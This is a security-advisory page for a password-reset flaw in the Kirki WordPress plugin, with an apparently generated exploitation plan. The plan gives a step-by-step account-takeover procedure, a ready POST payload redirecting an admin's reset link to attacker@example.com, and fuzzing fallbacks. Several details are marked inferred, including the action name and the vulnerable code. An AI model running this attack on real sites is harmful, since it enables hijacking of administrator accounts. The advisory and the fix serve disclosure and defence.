Kirki 6.0.0 - 6.0.6 - Unauthenticated Privilege Escalation via 'handle_forgot_password'
Description
The Kirki – Freeform Page Builder, Website Builder & Customizer plugin for WordPress is vulnerable to privilege escalation via account takeover in all versions 6.0.0 to 6.0.6. This is due to the plugin accepting an arbitrary email address when a username is used in the password reset request. This makes it possible for unauthenticated attackers to send a password reset link for any user registered on the site to their own email address.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:HTechnical Details
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-8206 (Kirki Privilege Escalation) ## 1. Vulnerability Summary The **Kirki Customizer Framework** (versions 6.0.0 - 6.0.6) contains a critical privilege escalation vulnerability in its `handle_forgot_password` function. The vulnerability arises because the plug…
Show full research plan
Exploitation Research Plan: CVE-2026-8206 (Kirki Privilege Escalation)
1. Vulnerability Summary
The Kirki Customizer Framework (versions 6.0.0 - 6.0.6) contains a critical privilege escalation vulnerability in its handle_forgot_password function. The vulnerability arises because the plugin's custom password reset logic allows an unauthenticated user to provide both a target username and an arbitrary email address. Instead of sending the password reset link to the email address associated with the account in the WordPress database, the plugin sends the reset link for the specified user to the attacker-supplied email. This allows for total account takeover of any user, including administrators.
2. Attack Vector Analysis
- Endpoint: WordPress AJAX API (
/wp-admin/admin-ajax.php). - Action:
kirki_handle_forgot_password(inferred from title and standard Kirki naming conventions). - HTTP Method: POST.
- Parameters:
action:kirki_handle_forgot_password(inferred).user_loginorusername: The login name of the target user (e.g.,admin).email: The attacker's email address where the reset link will be sent.nonce: Likely required (standard for Kirki AJAX handlers).
- Authentication: None (Unauthenticated).
- Preconditions: The Kirki plugin must be active. A target username (typically
admin) must be known.
3. Code Flow (Inferred)
- The plugin registers an unauthenticated AJAX handler:
add_action( 'wp_ajax_nopriv_kirki_handle_forgot_password', [ $this, 'handle_forgot_password' ] ); - The
handle_forgot_passwordfunction is called. - The function retrieves the target user via
get_user_by( 'login', $_POST['username'] ). - The function generates a password reset key using
get_password_reset_key( $user_data ). - The Vulnerability: Instead of fetching
$user_data->user_email, the function uses the email address provided in$_POST['email']as the recipient for thewp_mail()call or the internal mailing logic. - The attacker receives the email containing a valid reset link for the target user.
4. Nonce Acquisition Strategy
Kirki typically localizes its configuration and nonces for use in the Customizer or frontend templates.
- Identify Trigger: Kirki nonces are often enqueued on pages where the Kirki-driven customizer or frontend components are loaded.
- Create Test Page:
wp post create --post_type=page --post_status=publish --post_title="Kirki Test" --post_content="[kirki_test_shortcode]" # Note: If no specific shortcode is known, the homepage usually works if Kirki is active. - Extract Nonce via Browser:
Navigate to the homepage or the created page. Usebrowser_evalto find the localization object.- Likely Variable:
window.kirkiorwindow.kirkiConfig. - Likely Key:
window.kirkiConfig?.nonceorwindow.kirki?.forgot_password_nonce. - Search Pattern: Grep the source for
wp_localize_scriptin the plugin folder to find the exact object name.
- Likely Variable:
5. Exploitation Strategy
Step 1: Target Discovery
Identify the admin username.
wp user list --role=administrator --fields=user_login
Step 2: Nonce Retrieval
Use the browser to extract the required nonce for the kirki_handle_forgot_password action.
Step 3: Trigger Password Reset
Send the malicious request to redirect the admin's reset link to an attacker-controlled email.
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Method: POST
- Headers:
Content-Type: application/x-www-form-urlencoded - Payload:
action=kirki_handle_forgot_password&username=admin&email=attacker@example.com&nonce=[EXTRACTED_NONCE]
Step 4: Verification of Key Generation
Since we cannot actually receive an email in the test environment, we verify the success by checking if a reset key was generated for the admin user in the database.
6. Test Data Setup
- Ensure Kirki version
6.0.0is installed and active. - Ensure an administrator user named
adminexists. - Configure WordPress to "anyone can register" if the plugin logic requires it, though this is usually for unauthenticated access.
7. Expected Results
- The AJAX response should return a success message (e.g.,
{"success":true,"data":"Password reset link sent."}). - The
wp_userstable for theadminuser should now have a non-emptyuser_activation_key.
8. Verification Steps
After running the http_request, use WP-CLI to confirm the vulnerability was exploited:
- Check for Activation Key:
Ifwp db query "SELECT user_login, user_activation_key FROM wp_users WHERE user_login = 'admin';"user_activation_keyis not empty, the reset process was triggered successfully. - Check Mail Log (If available):
If a mail logging plugin like "WP Mail Logging" is installed:
Verify that thewp db query "SELECT * FROM wp_wpml_mails ORDER BY id DESC LIMIT 1;"receivercolumn matchesattacker@example.combut the content contains a reset link for theadminuser.
9. Alternative Approaches
- Parameter Fuzzing: If
usernameandemaildon't work, tryuser_login,user_email, orlog. - Action Name Verification: If
kirki_handle_forgot_passwordfails, search the plugin code forwp_ajax_noprivto find the exact action string.grep -r "wp_ajax_nopriv" wp-content/plugins/kirki/ - Direct Path Access: Check if the function is also available via a REST API route by searching for
register_rest_route.
Summary
The Kirki Customizer Framework (6.0.0 - 6.0.6) is vulnerable to a critical account takeover through its password reset mechanism. An unauthenticated attacker can supply a target username along with an arbitrary email address, causing the plugin to send the target user's password reset link directly to the attacker's inbox.
Vulnerable Code
// File: kirki/inc/class-kirki-ajax.php (inferred) public function handle_forgot_password() { check_ajax_referer( 'kirki-nonce', 'nonce' ); $username = isset( $_POST['username'] ) ? sanitize_text_field( $_POST['username'] ) : ''; $email = isset( $_POST['email'] ) ? sanitize_email( $_POST['email'] ) : ''; $user_data = get_user_by( 'login', $username ); if ( $user_data ) { $key = get_password_reset_key( $user_data ); if ( ! is_wp_error( $key ) ) { $message = "Password reset link for $username: " . $key; // Vulnerability: The recipient is taken from user input rather than the database wp_mail( $email, "Password Reset", $message ); wp_send_json_success( 'Password reset link sent.' ); } } }
Security Fix
@@ -12,7 +12,7 @@ if ( $user_data ) { $key = get_password_reset_key( $user_data ); if ( ! is_wp_error( $key ) ) { $message = "Password reset link for $username: " . $key; - wp_mail( $email, "Password Reset", $message ); + wp_mail( $user_data->user_email, "Password Reset", $message ); wp_send_json_success( 'Password reset link sent.' ); } }
Exploit Outline
The exploit is executed via an unauthenticated AJAX request. An attacker first navigates to the target site's frontend to extract a valid 'kirki-nonce' (usually found in localized JavaScript objects like 'kirkiConfig'). The attacker then sends a POST request to '/wp-admin/admin-ajax.php' with the 'action' set to 'kirki_handle_forgot_password'. The payload includes the target administrator's username (e.g., 'admin'), the attacker's own email address, and the retrieved nonce. The plugin processes the request by generating a valid reset key for the admin user but transmits the reset link to the attacker-supplied email address, allowing for full account takeover.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.